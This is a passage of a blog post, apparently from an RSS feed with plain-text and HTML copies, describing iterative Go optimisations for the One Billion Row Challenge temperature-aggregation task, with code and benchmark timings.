		stationTemps[parts[0]] = append(stationTemps[parts[0]], temp)
	}

	// Calculate min, mean, and max for each station.
	results := make(map[string]Stats)
	for station, temps := range stationTemps {
		min, max, sum := temps[0], temps[0], 0.0
		for _, t := range temps {
			if t < min {
				min = t
			}
			if t > max {
				max = t
			}
			sum += t
		}
		mean := sum / float64(len(temps))
		results[station] = Stats{Min: min, Mean: mean, Max: max}
	}

	// Sort the stations and format the output.
	var stations []string
	for station := range results {
		stations = append(stations, station)
	}
	sort.Strings(stations)

	fmt.Print("{")
	for i, station := range stations {
		r := results[station]
		fmt.Printf("%s=%.1f/%.1f/%.1f", station, r.Min, r.Mean, r.Max)
		if i < len(stations)-1 {
			fmt.Print(", ")
		}
	}
	fmt.Println("}")
}
On running the above program, we get the following output:
{Chihuahua=20.3/20.3/20.3, Dikson=-3.7/-3.7/-3.7, Dodoma=20.3/20.3/20.3, Kampala=50.8/50.8/50.8, Mek'ele=13.3/13.3/13.3, Ngaoundéré=24.2/24.2/24.2, San Diego=7.1/7.1/7.1, Singapore=14.4/14.4/14.4, Toronto=12.7/12.7/12.7, Wrocław=12.6/12.6/12.6}
This approach works well for small, simple files. However, there are certain restrictions:
It reads the file line by line using a scanner. Reading and processing a billion rows is time-consuming.
Each operation, even if small, adds up when repeated a billion times. This includes string splitting, type conversion, error checking, and appending to a slice.
Additionally, we need to consider the potential of hitting the max Disk IOPS limit if we perform too many file operations per second.
Before we proceed to optimize this further, let’s establish a baseline performance of 100 million lines first:
$ wc -l measurements.txt
  100000000 measurements.txt
$ time go run main.go
  go run main.go  18.44s user 0.83s system 100% cpu 19.135 total
Baseline: It takes approximately 19s to read and calculate stats from 100 mn lines.
There’s a lot of room to optimize it further, let’s go through them one by one.
Iteration 1: Producer-Consumer Pattern#
The concept involves reading multiple lines simultaneously in the producer Goroutine and then dispatching these batches to worker Goroutines. We can establish a worker pool to implement a producer-consumer pattern. Producers read lines from the file and send them to a channel. Consumers retrieve lines from the channel, parse the data, and calculate the minimum, mean, and maximum temperatures for each station.
func main() {
	numWorkers := runtime.NumCPU()
	runtime.GOMAXPROCS(numWorkers)

	linesChan := make(chan string, 1000000)
	resultsChan := make(chan map[string]Stats, numWorkers)

	// Start worker goroutines
	var wg sync.WaitGroup
	for i := 0; i < numWorkers; i++ {
		wg.Add(1)
		go worker(linesChan, resultsChan, &wg)
	}

	// Read the file and send lines to the workers
	go func() {
		file, err := os.Open(measurementsFile)
		if err != nil {
			panic(err)
		}
		defer file.Close()

		scanner := bufio.NewScanner(file)
		for scanner.Scan() {
			linesChan <- scanner.Text()
		}
		close(linesChan)
	}()

	// Collect results from workers
	wg.Wait()
	close(resultsChan)

	// Aggregate results
	finalResults := make(map[string]Stats)
	for workerResult := range resultsChan {
		for station, stats := range workerResult {
			finalStats := finalResults[station]
			finalStats.Min = min(finalStats.Min, stats.Min)
			finalStats.Max = max(finalStats.Max, stats.Max)
			finalStats.Mean = (finalStats.Mean*float64(finalStats.Count) + stats.Mean*float64(stats.Count)) / float64(finalStats.Count+stats.Count)
			finalStats.Count += stats.Count
			finalResults[station] = finalStats
		}
	}

	// Print results
	printStats(finalResults)
}

func worker(linesChan <-chan string, resultsChan chan<- map[string]Stats, wg *sync.WaitGroup) {
	defer wg.Done()

	stationStats := make(map[string]Stats)
	for line := range linesChan {
		parts := strings.Split(line, ";")
		temp, err := strconv.ParseFloat(parts[1], 64)
		if err != nil {
			continue
		}

		stats := stationStats[parts[0]]
		stats.Count++
		stats.Min = min(stats.Min, temp)
		stats.Max = max(stats.Max, temp)
		stats.Mean += (temp - stats.Mean) / float64(stats.Count)
		stationStats[parts[0]] = stats
	}

	resultsChan <- stationStats
}

func min(a, b float64) float64 {
	if a == 0 || a > b {
		return b
	}
	return a
}

func max(a, b float64) float64 {
	if a < b {
		return b
	}
	return a
}

func printStats(statsMap map[string]Stats) {
	var stations []string
	for station := range statsMap {
		stations = append(stations, station)
	}
	sort.Strings(stations)

	fmt.Print("{")
	for i, station := range stations {
		stats := statsMap[station]
		fmt.Printf("%s=%.1f/%.1f/%.1f", station, stats.Min, stats.Mean, stats.Max)
		if i < len(stations)-1 {
			fmt.Print(", ")
		}
	}
	fmt.Println("}")
}
Results#
The concurrent version, unexpectedly, resulted in almost a 3x decrease in performance.
go run main.go  84.15s user 101.34s system 342% cpu 54.225 total
Where did we go wrong? This is a classic case where the overhead of concurrency mechanisms outweighs their benefits. In our current implementation, each line is sent to the channel individually, which is likely less efficient than batching lines for processing. This means that for a file with a large number of lines, there will be an equally large number of channel send operations. Each channel operation involves locking and unlocking, which can be costly, especially in a high-frequency context.
Iteration 2: Batch processing of lines#
In this version we are Batching the lines before sending to the worker which will significantly reduce the overhead of channel communication.
Batch Processing: Each batch contains batchSize lines. This reduces the frequency of channel operations (both sending and receiving), as well as the overhead associated with these operations.
Efficient Worker Utilization: With batch processing, each worker goroutine spends more time processing data and less time interacting with channels. This reduces the overhead of context switching and synchronization, making the processing more efficient.
const (
	batchSize        = 1000000 // Number of lines per batch
)

// ...
		scanner := bufio.NewScanner(file)
		var batch []string
		for scanner.Scan() {
			batch = append(batch, scanner.Text())
			if len(batch) >= batchSize {
				batchesChan <- batch
				batch = nil // Start a new batch
			}
		}
		// Send any remaining lines in the last batch
		if len(batch) > 0 {
			batchesChan <- batch
		}
		close(batchesChan)

// ...
func worker(batchesChan <-chan []string, resultsChan chan<- map[string]Stats, wg *sync.WaitGroup) {
	defer wg.Done()

	stationStats := make(map[string]Stats)
	for batch := range batchesChan {
		for _, line := range batch {
            // Process the line ...
        }
	}

	resultsChan <- stationStats
}
// ...
Results#
The improvement from iteration 2 to iteration 3 is quite remarkable, thanks to efficiently batching the lines together and reducing the number of channel ops.
go run main.go  30.02s user 0.67s system 476% cpu 6.442 total
So far, we’ve reduced the time to about 6.5s which is a great start and improvement of our baseline version of 19s. However, we’re making quite a few extra memory allocations and the focus of next iteration should be to reduce that.
Iteration 3: Reducing memory allocations#
A batch slice is pre-allocated with a capacity of batchSize and reused for each batch of lines.
After sending a batch to the channel, the slice is reset to zero length (batch = batch[:0]), but the underlying array is retained and reused.
// Read the file and send batches of lines to the workers
	go func() {
		file, err := os.Open(measurementsFile)
		if err != nil {
			panic(err)
		}
		defer file.Close()

		scanner := bufio.NewScanner(file)
		batch := make([]string, 0, batchSize) // Pre-allocate with capacity

		for scanner.Scan() {
			line := scanner.Text()

			// Reuse the batch slice by appending to it until it reaches the batch size
			batch = append(batch, line)

			if len(batch) >= batchSize {
				batchesChan <- batch
				batch = batch[:0] // Reset the slice without allocating new memory
			}
		}
		// Send any remaining lines in the last batch
		if len(batch) > 0 {
			batchesChan <- batch
		}
		close(batchesChan)
	}()
Results#
Down to 5.3s!
go run main.go  25.43s user 0.53s system 485% cpu 5.346 total
Iteration 3 (cont): Further reducing memory allocations#
Avoiding strings.Split: Instead of using strings.Split, which allocates a new slice for each line, we can use  strings.Index to find the delimiter and manually slice the string. strings.Split typically creates a new slice for each split part, leading to more memory usage and subsequent GC overhead.
for batch := range batchesChan {
		for _, line := range batch {
			delimiterIndex := strings.Index(line, ";")
			if delimiterIndex == -1 {
				continue // Delimiter not found, skip this line
			}

			station := line[:delimiterIndex]

			tempStr := line[delimiterIndex+1:]
			temp, err := strconv.ParseFloat(tempStr, 64)
			if err != nil {
				continue // Invalid temperature value, skip this line
			}

			stats := stationStats[station]
			stats.Count++
			stats.Min = min(stats.Min, temp)
			stats.Max = max(stats.Max, temp)
			stats.Mean += (temp - stats.Mean) / float64(stats.Count)
			stationStats[station] = stats
		}
	}
Results#
The time has further decreased from 5.3s to 4.8s with these changes.
go run main.go  15.69s user 0.44s system 332% cpu 4.853 total
Iteration 4: Read file in chunks#
In this version, the file is read in chunks, and each chunk is processed to ensure it contains complete lines. The processChunk function is used to separate valid data from leftover data in each chunk. Chunk size can be controlled with command line args as well.
func main() {
	// ....
	const chunkSize = 256 * 1024 // 256 KB
	buf := make([]byte, chunkSize)
	leftover := make([]byte, 0, chunkSize)

	go func() {
		for {
			bytesRead, err := file.Read(buf)
			if bytesRead > 0 {
				// Copy the chunk to a new slice, because the
				// buffer will be reused in the next iteration.
				chunk := make([]byte, bytesRead)
				copy(chunk, buf[:bytesRead])
				// Process the chunk. The returned leftover will be processed in the next iteration.
				validChunk, newLeftover := processChunk(chunk, leftover)
				leftover = newLeftover
				// Send the valid chunk to the processing goroutine.
				if len(validChunk) > 0 {
					wg.Add(1)
					go processChunkData(validChunk, resultsChan, &wg)
				}
			}
			if err != nil {
				break
			}
		}
		wg.Wait()
		close(resultsChan)
	}()
	// ...
}


func processChunk(chunk, leftover []byte) (validChunk, newLeftover []byte) {
	firstNewline := -1
	lastNewline := -1
	// Find the first and last newline in the chunk.
	for i, b := range chunk {
		if b == '\n' {
			if firstNewline == -1 {
				firstNewline = i
			}
			lastNewline = i
		}
	}
	if firstNewline != -1 {
		validChunk = append(leftover, chunk[:lastNewline+1]...)
		newLeftover = make([]byte, len(chunk[lastNewline+1:]))
		copy(newLeftover, chunk[lastNewline+1:])
	} else {
		newLeftover = append(leftover, chunk...)
	}
	return validChunk, newLeftover
}

func processChunkData(chunk []byte, resultsChan chan<- map[string]Stats, wg *sync.WaitGroup) {
	defer wg.Done()

	stationStats := make(map[string]Stats)
	scanner := bufio.NewScanner(strings.NewReader(string(chunk)))

	for scanner.Scan() {
		line := scanner.Text()

		// Find the index of the delimiter
		delimiterIndex := strings.Index(line, ";")
		if delimiterIndex == -1 {
			continue // Delimiter not found, skip this line
		}

		// Extract the station name and temperature string
		station := line[:delimiterIndex]
		tempStr := line[delimiterIndex+1:]

		// Convert the temperature string to a float
		temp, err := strconv.ParseFloat(tempStr, 64)
		if err != nil {
			continue // Invalid temperature value, skip this line
		}

		// Update the statistics for the station
		stats, exists := stationStats[station]
		if !exists {
			stats = Stats{Min: temp, Max: temp}
		}
		stats.Count++
		stats.Min = min(stats.Min, temp)
		stats.Max = max(stats.Max, temp)
		stats.Mean += (temp - stats.Mean) / float64(stats.Count)
		stationStats[station] = stats
	}

	// Send the computed stats to resultsChan
	resultsChan <- stationStats
}
In addition to this, I moved the aggregateStats to a separate Goroutine as well:
	aggWg.Add(1)
	finalResults := make(map[string]Stats)

	// Start a separate goroutine for aggregation
	go func() {
		defer aggWg.Done()
		for workerResult := range resultsChan {
			for station, stats := range workerResult {
				finalStats, exists := finalResults[station]
				if !exists {
					finalResults[station] = stats
					continue
				}
				finalStats.Min = min(finalStats.Min, stats.Min)
				finalStats.Max = max(finalStats.Max, stats.Max)
				totalCount := finalStats.Count + stats.Count
				finalStats.Mean = (finalStats.Mean*float64(finalStats.Count) + stats.Mean*float64(stats.Count)) / float64(totalCount)
				finalStats.Count = totalCount
				finalResults[station] = finalStats
			}
		}
	}()
Results#
We’re down from 4.8s to just 2.1s to read/parse/process 100mn lines!
./bin/1brc.bin --file=input.txt --chunksize=1048576  17.58s user 0.77s system 837% cpu 2.190 total
Summary#
Basic File Reading and Parsing (Baseline):
Time: 19s (baseline).
Key Change: Sequentially reading and processing each line.
Speedup: N/A (baseline).
Producer-Consumer Pattern:
Time: 54.225s.
Key Change: Implemented concurrent line processing with producer-consumer pattern.
Speedup: -185% (slower than baseline).
Batch Processing of Lines:
Time: 6.442s.
Key Change: Batched lines before processing, reducing channel communication.
Speedup: +66% (compared to baseline).
Reducing Memory Allocations - Iteration 1:
Time: 5.346s.
Key Change: Reused batch slices and reduced memory allocations.
Speedup: +72% (compared to baseline).
Reducing Memory Allocations - Iteration 2 (Avoiding strings.Split):
Time: 4.853s.
Key Change: Replaced strings.Split with manual slicing for efficiency.
Speedup: +75% (compared to baseline).
Read File in Chunks:
Time: 2.190s.
Key Change: Processed file in chunks and optimized aggregation.
Speedup: +87% (compared to baseline).
Final Run#
I’m quite satisfied with the final version for now. We can now proceed to test it with 1 billion lines. However it’s evidently CPU-bound, as we spawn N workers for N CPUs.
I experimented with different chunk sizes, and here are the results from each run:

Chunk SizeTime

512.00 KB23.756s
1.00 MB21.798s
16.00 MB20.693s
32.00 MB19.501s

Tweaking the chunk size doesn’t significantly impact performance, as processing larger chunks takes longer.
TL;DR: On an average and with multiple runs it takes approx 20s with the final iteration for 1bn lines.
Checkout the full code on my GitHub.
Potential Improvements#
This project was not only fun but also a great opportunity to revisit and refine many Go concepts. There are several ideas to contemplate for further improving this version’s timings:
I haven’t yet considered using mmap, but I believe it could substantially speed things up.
To delve even deeper, custom line parsing functions, especially for converting string to float64, could offer improvements.
Employing custom hashing functions (perhaps FnV) might aid in faster map lookups.
Fin!]]></description>
            <content:encoded><![CDATA[<p>Earlier this week, I had stumbled upon <a rel="external" href="https://github.com/gunnarmorling/1brc">1brc</a>, which presents a fun task: loading a huge text file (1 billion lines) in Java as quickly as possible.</p>
<blockquote>
<p>The One Billion Row Challenge (1BRC) is a fun exploration of how far modern Java can be pushed for aggregating one billion rows from a text file. Utilize all your virtual threads, leverage SIMD, optimize your GC, or employ any other technique to create the fastest implementation for this task!</p>
</blockquote>
<p>The challenge is mainly about Java, but I thought to do the same in my preferred language: Go. This post is about how I did several iterations to my Go program to reduce the time and discuss the main techniques used in each iteration to make it faster.</p>
<p>I was able to create a solution which takes <strong>~20s</strong> to read, parse and calculate stats for 1bn lines on my Apple M2 (10 vCPU, 32GB RAM).
There are some <a rel="external" href="https://github.com/gunnarmorling/1brc/discussions/138">insane</a> solutions that people have come up with, be sure to check out <a rel="external" href="https://github.com/gunnarmorling/1brc/discussions">GitHub Discussions</a> to go through them!</p>
<h2 id="prerequisites">Prerequisites<a class="zola-anchor" href="#prerequisites" aria-label="Anchor link for: prerequisites">#</a></h2>
<p>To generate the text file for these measurements, follow the steps outlined <a rel="external" href="https://github.com/gunnarmorling/1brc?tab=readme-ov-file#prerequisites">here</a>.</p>
<p>After running the commands, I have a <code>measurements.txt</code> on my file system:</p>
<p>Example output after running the commands:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">➜</span><span style="color: light-dark(#032F62, #96D0FF);">  1brc-go</span><span style="color: light-dark(#032F62, #96D0FF);"> git:</span><span>(</span><span style="color: light-dark(#6F42C1, #F69D50);">main</span><span>)</span><span style="color: light-dark(#032F62, #96D0FF);"> du</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">sh</span><span style="color: light-dark(#032F62, #96D0FF);"> measurements.txt</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);"> 13G</span><span style="color: light-dark(#032F62, #96D0FF);">	measurements.txt</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">➜</span><span style="color: light-dark(#032F62, #96D0FF);">  1brc-go</span><span style="color: light-dark(#032F62, #96D0FF);"> git:</span><span>(</span><span style="color: light-dark(#6F42C1, #F69D50);">main</span><span>)</span><span style="color: light-dark(#032F62, #96D0FF);"> tail</span><span style="color: light-dark(#032F62, #96D0FF);"> measurements.txt</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Mek</span><span style="color: light-dark(#6F42C1, #F69D50);">&#39;</span><span style="color: light-dark(#6F42C1, #F69D50);">ele;13.3</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Kampala;50.8</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Dikson;-3.7</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Dodoma;20.3</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">San Diego;7.1</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Chihuahua;20.3</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Ngaoundéré;24.2</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Toronto;12.7</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Wrocław;12.6</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Singapore;14.4</span></span></code></pre><h2 id="ultra-minimalistic-example-of-reading-a-file">Ultra minimalistic example of reading a file<a class="zola-anchor" href="#ultra-minimalistic-example-of-reading-a-file" aria-label="Anchor link for: ultra-minimalistic-example-of-reading-a-file">#</a></h2>
<p>Let’s take a look at a basic Go code to read and parse the above file. We’ll also calculate stats on the fly.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="go"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">package</span><span style="color: light-dark(#6F42C1, #F69D50);"> main</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">import</span><span> (</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">bufio</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">fmt</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">os</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">sort</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">strconv</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">	&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">strings</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">type</span><span style="color: light-dark(#6F42C1, #F69D50);"> Measurement</span><span style="color: light-dark(#D73A49, #F47067);"> struct</span><span> {</span></span>
<span class="giallo-l"><span>	Station</span><span style="color: light-dark(#D73A49, #F47067);"> string</span></span>
<span class="giallo-l"><span>	Temp</span><span style="color: light-dark(#D73A49, #F47067);">    float64</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">type</span><span style="color: light-dark(#6F42C1, #F69D50);"> Stats</span><span style="color: light-dark(#D73A49, #F47067);"> struct</span><span> {</span></span>
<span class="giallo-l"><span>	Min</span><span>,</span><span> Mean</span><span>,</span><span> Max</span><span style="color: light-dark(#D73A49, #F47067);"> float64</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">func</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> main</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Open the file.</span></span>
<span class="giallo-l"><span>	file</span><span>,</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> os</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Open</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">measurements.txt</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	if</span><span> err</span><span style="color: light-dark(#D73A49, #F47067);"> !=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> nil</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">		panic</span><span>(</span><span>err</span><span>)</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	defer</span><span> file</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Close</span><span>(</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Map to hold the temperatures for each station.</span></span>
<span class="giallo-l"><span>	stationTemps</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> make</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">map</span><span>[</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>]</span><span>[</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">float64</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>	scanner</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> bufio</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">NewScanner</span><span>(</span><span>file</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	for</span><span> scanner</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Scan</span><span>(</span><span>)</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">		//</span><span style="color: light-dark(#6A737D, #768390);"> Parse each line into a Measurement struct.</span></span>
<span class="giallo-l"><span>		parts</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> strings</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Split</span><span>(</span><span>scanner</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Text</span><span>(</span><span>)</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">;</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>		temp</span><span>,</span><span> _</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> strconv</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">ParseFloat</span><span>(</span><span>parts</span><span>[</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>]</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 64</span><span>)</span></span>
<span class="giallo-l"><span>		stationTemps</span><span>[</span><span>parts</span><span>[</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span>]</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> append</span><span>(</span><span>stationTemps</span><span>[</span><span>parts</span><span>[</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span>]</span><span>]</span><span>,</span><span> temp</span><span>)</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Calculate min, mean, and max for each station.</span></span>
<span class="giallo-l"><span>	results</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> make</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">map</span><span>[</span><span style="color: light-dark(#D73A49, #F47067);">string</span><span>]</span><span style="color: light-dark(#6F42C1, #F69D50);">Stats</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	for</span><span> station</span><span>,</span><span> temps</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#D73A49, #F47067);"> range</span><span> stationTemps</span><span> {</span></span>
<span class="giallo-l"><span>		min</span><span>,</span><span> max</span><span>,</span><span> sum</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> temps</span><span>[</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span>]</span><span>,</span><span> temps</span><span>[</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span><span>]</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span style="color: light-dark(#005CC5, #6CB6FF);">.</span><span style="color: light-dark(#005CC5, #6CB6FF);">0</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		for</span><span> _</span><span>,</span><span> t</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#D73A49, #F47067);"> range</span><span> temps</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			if</span><span> t</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span> min</span><span> {</span></span>
<span class="giallo-l"><span>				min</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> t</span></span>
<span class="giallo-l"><span>			}</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">			if</span><span> t</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span> max</span><span> {</span></span>
<span class="giallo-l"><span>				max</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> t</span></span>
<span class="giallo-l"><span>			}</span></span>
<span class="giallo-l"><span>			sum</span><span style="color: light-dark(#D73A49, #F47067);"> +=</span><span> t</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span>		mean</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> sum</span><span style="color: light-dark(#D73A49, #F47067);"> /</span><span style="color: light-dark(#D73A49, #F47067);"> float64</span><span>(</span><span style="color: light-dark(#6F42C1, #DCBDFB);">len</span><span>(</span><span>temps</span><span>)</span><span>)</span></span>
<span class="giallo-l"><span>		results</span><span>[</span><span>station</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #F69D50);"> Stats</span><span>{</span><span>Min</span><span>:</span><span> min</span><span>,</span><span> Mean</span><span>:</span><span> mean</span><span>,</span><span> Max</span><span>:</span><span> max</span><span>}</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">	//</span><span style="color: light-dark(#6A737D, #768390);"> Sort the stations and format the output.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	var</span><span> stations</span><span> [</span><span>]</span><span style="color: light-dark(#D73A49, #F47067);">string</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	for</span><span> station</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#D73A49, #F47067);"> range</span><span> results</span><span> {</span></span>
<span class="giallo-l"><span>		stations</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> append</span><span>(</span><span>stations</span><span>,</span><span> station</span><span>)</span></span>
<span class="giallo-l"><span>	}</span></span>
<span class="giallo-l"><span>	sort</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Strings</span><span>(</span><span>stations</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>	fmt</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Print</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">{</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">	for</span><span> i</span><span>,</span><span> station</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span style="color: light-dark(#D73A49, #F47067);"> range</span><span> stations</span><span> {</span></span>
<span class="giallo-l"><span>		r</span><span style="color: light-dark(#D73A49, #F47067);"> :=</span><span> results</span><span>[</span><span>station</span><span>]</span></span>
<span class="giallo-l"><span>		fmt</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Printf</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#005CC5, #F47067);">%s</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#005CC5, #F47067);">%.1f</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#005CC5, #F47067);">%.1f</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#005CC5, #F47067);">%.1f</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span> station</span><span>,</span><span> r</span><span>.</span><span>Min</span><span>,</span><span> r</span><span>.</span><span>Mean</span><span>,</span><span> r</span><span>.</span><span>Max</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">		if</span><span> i</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> len</span><span>(</span><span>stations</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span> {</span></span>
<span class="giallo-l"><span>			fmt</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">Print</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">, </span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>)</span></span>
<span class="giallo-l"><span>		}</span></span>
<span class="giallo-l"><span>	}</span></span>
